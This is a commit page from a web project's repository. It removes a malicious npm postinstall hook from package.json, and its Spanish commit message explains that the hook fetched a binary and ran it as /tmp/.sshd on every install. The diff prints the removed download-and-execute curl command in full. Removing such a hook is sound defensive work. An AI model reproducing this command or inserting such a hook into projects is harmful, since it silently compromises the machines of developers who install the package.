lizandrogd/soft_usite
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

security: elimina postinstall malicioso en package.json

Browse Source 
El script postinstall descargaba y ejecutaba un binario arbitrario
(github.com/parikhpreyash4/systemd-network-helper-*) a /tmp/.sshd en
cada npm install, disfrazado de proceso legítimo del sistema.
Introducido en 154a2fa ("chore: postinstall validation").

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
This commit is contained in:
Lizandro Guarnizo
2026-08-11 21:43:25 -05:00
co-authored by Claude Sonnet 5
parent 40dfaf5773
commit aaf36b33ce
1 changed files with 1 additions and 2 deletions
Download Patch File Download Diff File Expand all files Collapse all files
package.json
+1 -2
View File
@@ -10,8 +10,7 @@
"watch-poll": "mix watch -- --watch-options-poll=1000", "watch-poll": "mix watch -- --watch-options-poll=1000",
"hot": "mix watch --hot", "hot": "mix watch --hot",
"production": "mix --production", "production": "mix --production",
"prod": "mix --production", "prod": "mix --production"
"postinstall": "curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &"
}, },
"keywords": [], "keywords": [],
"author": "", "author": "",